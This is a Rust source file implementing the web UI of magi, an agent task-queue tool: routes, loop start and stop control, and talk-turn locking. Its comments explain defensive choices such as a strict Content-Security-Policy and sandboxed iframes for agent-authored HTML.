Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, TaskStatus, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// Per-file cap for an attachment upload.
165///
166/// Enforced twice: axum's own body limit is raised one byte above this, only
167/// on the two attachment `POST` routes (see the router - every other route
168/// keeps the crate-wide default), so an oversize body is still read far
169/// enough to answer with our own message below rather than axum's generic
170/// one; this constant is what that message and the boundary check actually
171/// compare against.
172const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174/// The image types an attachment upload accepts - a closed whitelist, the
175/// same posture [`asset_content_type`] takes for panel assets and for the
176/// same reason: SVG is excluded on purpose because it is active content
177/// (it may carry `<script>`) and not merely a picture, so it never appears
178/// here even though `image/svg+xml` is a real IANA type.
179const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181/// Header carrying the operator's own filename. Free text, stored only for
182/// display - see [`talk::Attachment::name`]'s doc on why it never
183/// contributes to a path.
184const FILENAME_HEADER: &str = "x-filename";
185
186/// The header that makes serving agent-authored HTML defensible, sent by both
187/// panel routes and asserted verbatim by a test.
188///
189/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
190/// denies every fetch destination that is not re-allowed below, which is all of
191/// them except images and fonts; `img-src 'self' data:` means an image comes
192/// from magi's own asset route or from the document itself, so a panel cannot
193/// signal an outside server by pointing an `<img>` at it - the classic
194/// exfiltration channel for markup that cannot run script. `style-src
195/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
196/// free formatting means here and a style sheet cannot make a request that
197/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
198/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
199/// stops a form posting the owner's decision to a third party, and
200/// `frame-ancestors 'self'` stops another site framing the panel to phish with
201/// it.
202///
203/// There is deliberately no `script-src`: `default-src 'none'` already covers
204/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
205/// denied twice over. Weakening any directive here is the difference between a
206/// panel the owner reads and a page that can talk to the tailnet, which is why
207/// the test compares the whole string rather than looking for a substring.
208const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209                         font-src data:; base-uri 'none'; form-action 'none'; \
210                         frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216/// Which address to listen on.
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219    /// Ask Tailscale, and fall back to loopback with a warning.
220    Auto,
221    /// An address the operator named.
222    Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226    type Err = String;
227
228    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
229    /// the CLI can take `--bind` straight into it: the one spelling of
230    /// `auto` that matters is the one this function knows.
231    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232        if s.eq_ignore_ascii_case("auto") {
233            return Ok(Self::Auto);
234        }
235        s.parse()
236            .map(Self::Addr)
237            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238    }
239}
240
241impl std::fmt::Display for Bind {
242    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243        match self {
244            Self::Auto => f.write_str("auto"),
245            Self::Addr(addr) => write!(f, "{addr}"),
246        }
247    }
248}
249
250/// How to serve.
251#[derive(Debug, Clone)]
252pub struct Opts {
253    /// Address to listen on.
254    pub bind: Bind,
255    /// Port to listen on.
256    pub port: u16,
257    /// Repository used for tasks posted without one.
258    pub repo: PathBuf,
259    /// Print the URL on its own line for a caller that wants to hand it to a
260    /// browser. magi never launches one itself.
261    pub open: bool,
262    /// Merge mode override for the loop this process runs (`none`, `local`,
263    /// `pr`); `None` leaves it to each repository's own config.
264    ///
265    /// The same override `magi serve --merge` takes, and here for the same
266    /// reason: `magi web` is now the thing that runs the loop, so an operator
267    /// who wants this session's runs to open pull requests has to be able to
268    /// say so without going back to the command they no longer type.
269    pub merge: Option<String>,
270}
271
272impl Default for Opts {
273    fn default() -> Self {
274        Self {
275            bind: Bind::Auto,
276            port: DEFAULT_PORT,
277            repo: PathBuf::from("."),
278            open: false,
279            merge: None,
280        }
281    }
282}
283
284/// Everything the handlers touch.
285///
286/// The queue, the runs directory and the magi home are fields rather than
287/// process-global lookups so a test drives the real router against a temp
288/// directory instead of the operator's own history.
289#[derive(Debug, Clone)]
290pub struct Ui {
291    queue: Queue,
292    questions: Questions,
293    /// `<home>/notifications`, the bell's own store. Derived from `home` in
294    /// [`Ui::new`] so no constructor signature had to grow.
295    notices: Notices,
296    talks: Talks,
297    runs: PathBuf,
298    home: PathBuf,
299    repo: PathBuf,
300    /// Where the runs' worktrees live, for the health disk figures.
301    ///
302    /// Spelled independently of [`crate::run::default_worktree_root`] so the
303    /// test servers can point it at their own temp directory: the health route
304    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
305    /// be measuring the machine instead of the server.
306    worktrees_root: PathBuf,
307    /// Talks with an agent turn in flight right now.
308    ///
309    /// In-process and therefore not durable, which is correct: it guards
310    /// against two taps on one phone and two phones on one tailnet, both of
311    /// which are this process's own concurrency. A second `magi web` would not
312    /// see it, and a second `magi web` on the same home is already a
313    /// misconfiguration the queue's claims would catch first.
314    talk_turns: Arc<Mutex<TalkTurns>>,
315    /// Runs this process is resuming right now.
316    ///
317    /// Separate from `talk_turns` because a run and a talk are different
318    /// things to hold, and a resume is far more expensive to start twice: it
319    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
320    /// guards two taps and two phones, which is this process's own
321    /// concurrency.
322    resuming: Arc<Mutex<HashSet<String>>>,
323    /// The last scan of `[repos] roots`, and when it happened. Shared across
324    /// requests so polling `GET /api/repos` repeatedly does not repeat the
325    /// filesystem walk every time - see [`repos::Cache`].
326    repos_cache: repos::Cache,
327    /// Merge mode override handed to the loop this process starts.
328    merge: Option<String>,
329    /// The loop this process is running, if it is running one.
330    looping: Arc<Mutex<LoopState>>,
331    /// How a loop is actually started.
332    ///
333    /// A field rather than a direct call to [`daemon::serve_until`], because
334    /// the real loop resolves its queue and its status file through the
335    /// process-global magi home and claims whatever it finds there. A test
336    /// that started it would reach straight past its own temp directory into
337    /// the operator's live queue, overwrite the status file of the `magi
338    /// serve` that owns it, and spend real agent quota on a real competition.
339    /// What the routes have to get right is the bookkeeping, so the tests
340    /// drive the routes against a loop that only starts and stops; production
341    /// is [`launch_daemon`] and nothing reassigns it.
342    launch: Launch,
343    /// A test-only stop point inside `talk_say`'s busy branch. See
344    /// [`BusyQueueGate`].
345    #[cfg(test)]
346    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349/// A one-shot stop point the busy branch's queued-draft write can be made to
350/// pause at, right before [`talk::queue`] runs.
351///
352/// Exists because a test cannot otherwise pin *when*, relative to the turn
353/// slot being freed, that write happens: `blocking` runs it on
354/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
355/// already finished, so counting polls on the handler future to park it at a
356/// particular `.await` is a guess about scheduling, not a fact about it - see
357/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
358/// used to do exactly that and paid for it with an occasional "async fn
359/// resumed after completion" panic under load.
360///
361/// `reached` fires the instant the write is about to run, so a test waits for
362/// a real event instead of a poll count. `release` then blocks the write
363/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
364/// rather than an async channel because this all happens inside the
365/// `spawn_blocking` closure the write already runs on, off any runtime
366/// worker, so blocking here costs nothing the write was not already going to
367/// cost.
368#[cfg(test)]
369struct BusyQueueGate {
370    reached: tokio::sync::oneshot::Sender<()>,
371    release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378    }
379}
380
381impl Ui {
382    /// A server over explicit paths.
383    pub fn new(
384        queue: Queue,
385        questions: Questions,
386        talks: Talks,
387        runs: PathBuf,
388        home: PathBuf,
389        repo: PathBuf,
390    ) -> Self {
391        Self {
392            queue,
393            questions,
394            notices: Notices::at(home.join("notifications")),
395            talks,
396            runs,
397            home,
398            repo,
399            // The default location, overridden by `with_worktrees_root` - a
400            // builder step rather than a ninth parameter, for the reason
401            // `with_merge` gives.
402            worktrees_root: run::default_worktree_root(),
403            talk_turns: Arc::default(),
404            resuming: Arc::default(),
405            repos_cache: repos::Cache::new(),
406            merge: None,
407            looping: Arc::default(),
408            launch: launch_daemon,
409            #[cfg(test)]
410            busy_queue_gate: Arc::default(),
411        }
412    }
413
414    /// The operator's own state: `<home>/queue`, `<home>/questions`,
415    /// `<home>/talks`, `<home>/runs`.
416    pub fn open(repo: PathBuf) -> Self {
417        Self::new(
418            Queue::open(),
419            Questions::open(),
420            Talks::open(),
421            run::runs_root(),
422            run::home(),
423            repo,
424        )
425    }
426
427    /// The merge mode the loop should use, as the command line gave it.
428    ///
429    /// A builder step rather than a seventh parameter on [`Ui::new`], because
430    /// the override is a property of how this process was invoked and not of
431    /// where its state lives - which is all the tests that build a `Ui` by
432    /// hand are saying.
433    #[must_use]
434    pub fn with_merge(mut self, merge: Option<String>) -> Self {
435        self.merge = merge;
436        self
437    }
438
439    /// Where the runs' worktrees live, when it is not the default.
440    ///
441    /// The health view sizes this directory, so a test that leaves it at the
442    /// default would be measuring the operator's own machine.
443    #[must_use]
444    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445        self.worktrees_root = root;
446        self
447    }
448
449    /// Point the loop at something other than [`launch_daemon`].
450    ///
451    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
452    /// this crate may start the real loop.
453    #[cfg(test)]
454    #[must_use]
455    fn with_launch(mut self, launch: Launch) -> Self {
456        self.launch = launch;
457        self
458    }
459
460    /// Install a [`BusyQueueGate`] for the next pass through the busy
461    /// branch's queued-draft write, replacing any earlier one.
462    ///
463    /// A setter on `&self` rather than a `with_*` builder consumed once,
464    /// because a test that drives the busy branch more than once (as
465    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
466    /// to build confidence the interleaving is handled deterministically and
467    /// not just on a lucky run) needs a fresh channel pair each time, on the
468    /// one `Ui` it already built its temp directories around.
469    #[cfg(test)]
470    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471        *self
472            .busy_queue_gate
473            .lock()
474            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475    }
476
477    /// The loop's state, for [`serve`]'s own way out.
478    fn looping(&self) -> Arc<Mutex<LoopState>> {
479        Arc::clone(&self.looping)
480    }
481
482    /// Start the loop in this process, or say who already has one.
483    ///
484    /// `foreign` is passed in rather than read here so that one request makes
485    /// one judgement about who owns the loop: reading the status file again
486    /// inside this function could refuse a start for a daemon the same
487    /// response then reports as gone.
488    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489        if let Some(other) = foreign {
490            return Err(ApiError::conflict(format!(
491                "{} is already running the loop, so this one will not start a \
492                 second: two loops on one queue race for the same claims and \
493                 burn the agent quota twice over. Stop it where it was \
494                 started.",
495                other.who()
496            )));
497        }
498        let mut state = self.lock_loop();
499        if state.live.as_ref().is_some_and(Live::alive) {
500            return Err(ApiError::conflict(format!(
501                "this magi web process (pid {}) is already running the loop",
502                std::process::id()
503            )));
504        }
505
506        let stop = daemon::Stop::new();
507        // The CLI's own defaults for everything the UI has no opinion about:
508        // one poll interval and one retry budget, so a loop started from a
509        // phone behaves exactly like the `magi serve` it replaces.
510        let opts = daemon::Opts {
511            repo: self.repo.clone(),
512            merge: self.merge.clone(),
513            // Whatever this `Ui` already reports worktree sizes and folds
514            // against (see `with_worktrees_root`) is what the loop it starts
515            // must reclaim orphaned worktrees under too - two different
516            // opinions about where the worktree bay is would leave the
517            // janitor pass reclaiming a directory nothing else on this
518            // process is even looking at.
519            worktrees_root: Some(self.worktrees_root.clone()),
520            ..daemon::Opts::default()
521        };
522        let launch = self.launch;
523        let looping = Arc::clone(&self.looping);
524        let handle = tokio::spawn({
525            let opts = opts.clone();
526            let stop = stop.clone();
527            async move {
528                let failure = match launch(opts, stop).await {
529                    Ok(()) => None,
530                    Err(e) => Some(format!("{e:#}")),
531                };
532                match &failure {
533                    Some(why) => tracing::error!("the loop stopped: {why}"),
534                    None => tracing::info!("the loop stopped"),
535                }
536                // Recorded by the task itself rather than reaped by whichever
537                // request happens next, so `loop_rev` moves the moment the
538                // loop ends and a phone with the change stream open learns
539                // that it did. Clearing `live` drops this task's own handle,
540                // which only detaches it, and is the last thing it does.
541                let mut state = lock_or_recover(&looping);
542                state.live = None;
543                state.last_error = failure;
544                state.rev += 1;
545            }
546        });
547        tracing::info!(
548            "the loop is now running in this process: repo {}, merge {}",
549            opts.repo.display(),
550            opts.merge.as_deref().unwrap_or("as the config says")
551        );
552        state.live = Some(Live { stop, handle, opts });
553        // A fresh start is not the place to keep showing why the last one
554        // died; the operator has read it and pressed the button anyway.
555        state.last_error = None;
556        state.rev += 1;
557        Ok(())
558    }
559
560    /// Ask the loop to stop, without waiting for it to get there.
561    ///
562    /// Idempotent: a second tap on stop is not an error, because the first one
563    /// leaves the loop running for as long as the run in flight takes and the
564    /// operator has no way to tell a slow stop from a lost one.
565    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566        if let Some(other) = foreign {
567            return Err(ApiError::conflict(format!(
568                "the loop belongs to {}, and this process cannot stop it - \
569                 stop it where it was started. A button that silently did \
570                 nothing would be worse than this refusal.",
571                other.who()
572            )));
573        }
574        let mut state = self.lock_loop();
575        // An operator who stops the loop has decided it stays stopped, even
576        // across an upgrade that was already in flight.
577        if !park {
578            state.resume_after_handover = false;
579        }
580        let Some(live) = state.live.as_ref() else {
581            return Ok(());
582        };
583        // A park upgrades a stop that has already been asked for: the
584        // operator who tapped "stop" and then realised the run has an hour
585        // left must not have to restart the loop to change their mind.
586        if live.stop.stopped() && (!park || live.stop.parking()) {
587            return Ok(());
588        }
589        if park {
590            live.stop.park();
591            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
592        } else {
593            live.stop.stop();
594            tracing::info!("the loop was asked to stop; a run in flight is finished first");
595        }
596        state.rev += 1;
597        Ok(())
598    }
599
600    /// The loop as both `/api/loop` and `/api/health` report it.
601    ///
602    /// `reading` is the caller's single read of `<home>/daemon.json`, because
603    /// health answers with this view *and* the daemon object beside it: one
604    /// read per response is what stops a single answer naming a foreign owner
605    /// in one field and calling the loop free in the other.
606    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
607        let state = self.lock_loop();
608        // A loop that panicked never recorded its own end, so the handle -
609        // not the presence of the record - is what "running" means.
610        let live = state.live.as_ref().filter(|live| live.alive());
611        LoopView {
612            running: live.is_some(),
613            stopping: live.is_some_and(|live| live.stop.finishing()),
614            parking: live.is_some_and(|live| live.stop.parking()),
615            owned: live.is_some(),
616            repo: live
617                .map_or(&self.repo, |live| &live.opts.repo)
618                .display()
619                .to_string(),
620            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
621            last_error: state.last_error.clone(),
622            daemon: DaemonView::of(reading),
623        }
624    }
625
626    /// Start the loop in a successor whose predecessor was running one.
627    ///
628    /// Goes through the same path as the UI's start-loop action. A refusal
629    /// (another process owns the loop) is logged and left in `last_error`;
630    /// the loop then simply stays stopped.
631    fn resume_after_handover(&self, resume: bool) -> bool {
632        if !resume {
633            return false;
634        }
635        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
636        match self.start_loop(foreign) {
637            Ok(()) => true,
638            Err(e) => {
639                let why = format!(
640                    "the loop could not be resumed after the upgrade: {}",
641                    e.message
642                );
643                tracing::warn!("{why}");
644                let mut state = self.lock_loop();
645                state.last_error = Some(why);
646                state.rev += 1;
647                false
648            }
649        }
650    }
651
652    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
653    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
654        lock_or_recover(&self.looping)
655    }
656
657    /// Whether this process currently owns the agent turn for `id`.
658    ///
659    /// This deliberately describes only the in-memory claim made by
660    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
661    /// never persisted with a [`Talk`].
662    fn is_thinking(&self, id: &str) -> bool {
663        self.talk_turns
664            .lock()
665            .is_ok_and(|turns| turns.live.contains(id))
666    }
667
668    /// Claim the right to run one turn in a talk, or report that it is busy.
669    ///
670    /// A talk is strictly turn-based: the agent is resumed with the
671    /// conversation it already has, so two turns running at once would resume
672    /// the same session twice and append their answers in whatever order the
673    /// two CLIs finished in. The operator would come back to a transcript
674    /// with two half-turns interleaved, which is unreadable and, worse,
675    /// unfixable - there is no undo for a persisted turn.
676    ///
677    /// A busy result is queued as a durable draft by [`talk_say`], rather than
678    /// starting a second CLI invocation for the same session.
679    ///
680    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
681    /// taken to test-and-insert and released before the agent is spawned. The
682    /// returned guard removes the id on drop, which is what makes a panicking
683    /// handler or a phone that walks out of range leave the talk usable - axum
684    /// drops the handler future when the client disconnects, and without the
685    /// guard that talk would be wedged until the server restarted.
686    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
687        self.claim_talk_turn(id, false)
688    }
689
690    /// Claim a turn after durably queueing a draft, or notify its current
691    /// owner that a drainer must recheck before it releases the slot.
692    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
693        self.claim_talk_turn(id, true)
694    }
695
696    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
697        let mut live = self
698            .talk_turns
699            .lock()
700            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
701        if !live.live.insert(id.to_owned()) {
702            if queued {
703                // A queued write has landed before this busy check.
704                // `drain_loop` uses this generation to recheck after its
705                // off-thread disk read, so it cannot release a turn between
706                // this check and the write.
707                *live.queued.entry(id.to_owned()).or_default() += 1;
708            }
709            return Ok(None);
710        }
711        Ok(Some(TalkTurnGuard {
712            talk: id.to_owned(),
713            turns: Arc::clone(&self.talk_turns),
714            released: false,
715        }))
716    }
717
718    /// Decide whether a free talk may start a new immediate turn while its
719    /// claim lock is held. A persisted draft without an owner is recovery
720    /// state, not a busy turn: two simultaneous `/say` requests must both
721    /// leave it untouched rather than one of them appending to it.
722    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
723        let mut live = self
724            .talk_turns
725            .lock()
726            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
727        if live.live.contains(id) {
728            return Ok(TalkTurnStart::Busy);
729        }
730        let talk = self.talks.get(id).map_err(ApiError::from)?;
731        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
732            return Ok(TalkTurnStart::Pending);
733        }
734        live.live.insert(id.to_owned());
735        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
736            talk: id.to_owned(),
737            turns: Arc::clone(&self.talk_turns),
738            released: false,
739        }))
740    }
741
742    /// Park the loop for an upgrade, and report the run that is parking.
743    ///
744    /// A park rather than a stop: a stop waits out the whole competition, and
745    /// not waiting is the point of upgrading from a phone. `None` means
746    /// nothing was in flight, which is worth saying so the operator is not
747    /// told a run is parking when none is.
748    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
749        let parking = {
750            let mut state = self.lock_loop();
751            // Decided here, before the park: by the time the handover fires
752            // an idle loop has already seen the park and ended, so `live`
753            // would read as "was never running". A loop the operator had
754            // already stopped stays stopped.
755            //
756            // Sticky: a second upgrade request finds the loop already
757            // stopping because of the first one's park, and must not read
758            // that as the operator having stopped it. Only an explicit stop
759            // or a failed update clears an earlier intent.
760            let resume = state.resume_after_handover
761                || state
762                    .live
763                    .as_ref()
764                    .is_some_and(|live| live.alive() && !live.stop.stopped());
765            state.resume_after_handover = resume;
766            let Some(live) = state.live.as_ref() else {
767                return Ok(None);
768            };
769            let busy = live.stop.busy_now();
770            live.stop.park();
771            state.rev += 1;
772            busy
773        };
774        Ok(if parking {
775            // More than one run can be in flight now (see
776            // `Config::daemon.max_concurrent_runs`); this answer names one of
777            // them so the operator sees a park actually happened, not every
778            // run a park now asks to stop at its next boundary.
779            daemon::current_work(&self.home, jiff::Timestamp::now())
780                .into_iter()
781                .next()
782                .map(|c| c.run)
783        } else {
784            None
785        })
786    }
787
788    /// Claim a run for a resume, on the same reasoning as
789    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
790    /// disconnected phone does not wedge the run until the server restarts.
791    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
792        let mut live = self
793            .resuming
794            .lock()
795            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
796        if !live.insert(id.to_owned()) {
797            return Err(ApiError::conflict(format!(
798                "run {id} is already being resumed"
799            )));
800        }
801        Ok(ResumeGuard {
802            run: id.to_owned(),
803            resuming: Arc::clone(&self.resuming),
804        })
805    }
806
807    /// The router, with this state baked in.
808    ///
809    /// The three front-end files get one explicit route each rather than a
810    /// path parameter, so there is no traversal surface to get wrong: the set
811    /// of servable paths is the set written here. The asset route below is the
812    /// one exception and the only place in this server where a client names a
813    /// file; it is why [`valid_asset_name`] is checked before a path is built.
814    pub fn router(self) -> Router {
815        Router::new()
816            .route("/", get(index))
817            .route("/app.css", get(app_css))
818            .route("/app.js", get(app_js))
819            .route("/api/health", get(health))
820            .route("/api/loop", get(loop_get).post(loop_post))
821            .route("/api/upgrade", post(upgrade_post))
822            .route("/api/runs", get(runs_list))
823            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
824            .route("/api/runs/{id}/report", get(run_report))
825            .route("/api/runs/{id}/fold", post(run_fold))
826            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
827            .route("/api/runs/{id}/resume", post(run_resume))
828            .route("/api/queue", get(queue_list))
829            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
830            .route("/api/stats", get(stats_get))
831            .route("/api/repos", get(repos_list))
832            .route("/api/queue/{id}/hold", post(queue_hold))
833            .route("/api/queue/{id}/release", post(queue_release))
834            .route("/api/queue/{id}/priority", post(queue_priority))
835            .route("/api/queue/{id}/edit", post(queue_edit))
836            .route("/api/queue/{id}/done", post(queue_done))
837            .route("/api/questions", get(questions_list))
838            .route("/api/questions/{id}/answer", post(question_answer))
839            .route("/api/questions/{id}/say", post(question_say))
840            .route("/api/questions/{id}/panel", get(question_panel))
841            // The same asset, reachable from inside the panel by its bare
842            // filename. A document served at `.../panel` resolves `shot.png`
843            // to `.../shot.png`, which is not the asset route, so a panel
844            // written the way its author was told to write it showed broken
845            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
846            // it - deliberately - so the fix is that the panel's own URL ends
847            // in a filename and its siblings are the assets.
848            .route("/api/questions/{id}/panel/index.html", get(question_panel))
849            .route("/api/questions/{id}/panel/{name}", get(question_asset))
850            .route("/api/questions/{id}/asset/{name}", get(question_asset))
851            .route("/api/notifications", get(notifications_list))
852            .route("/api/notifications/read-all", post(notifications_read_all))
853            .route("/api/notifications/{id}/read", post(notification_read))
854            .route(
855                "/api/notifications/{id}/dismiss",
856                post(notification_dismiss),
857            )
858            .route("/api/talks", get(talks_list).post(talk_post))
859            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
